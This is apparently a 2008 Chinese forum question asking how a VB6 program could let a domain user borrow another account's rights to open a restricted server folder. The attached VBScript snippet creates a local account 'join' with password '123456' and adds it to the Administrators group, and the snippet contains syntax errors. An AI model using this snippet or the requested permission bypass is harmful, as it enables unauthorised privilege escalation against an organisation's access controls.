vb6模拟其它用户权限
阿阳888 2008-09-16 03:48:59 大家好!
我们公司是用域账号管理:
现在有一个问题:假设账号A有访问服务器文件夹T的权限,但B账号没有访问服务器文件夹T的权限,现在就是B通过程序想去访问服务器文件夹T的的文件,能不能B账号用户进入时能不能模拟A账号进入呢,这样就能访问到文件呀,谢谢!
如下是相关代码:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) ’得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") ’属性,admin组
Set od=ob.Create("user","join") ’建立用户
od.SetPassword "123456" ’设置密码
od.SetInfo ’保存
Set of=GetObject(os&"/join",user) ’得到用户
oe.add os&"/join"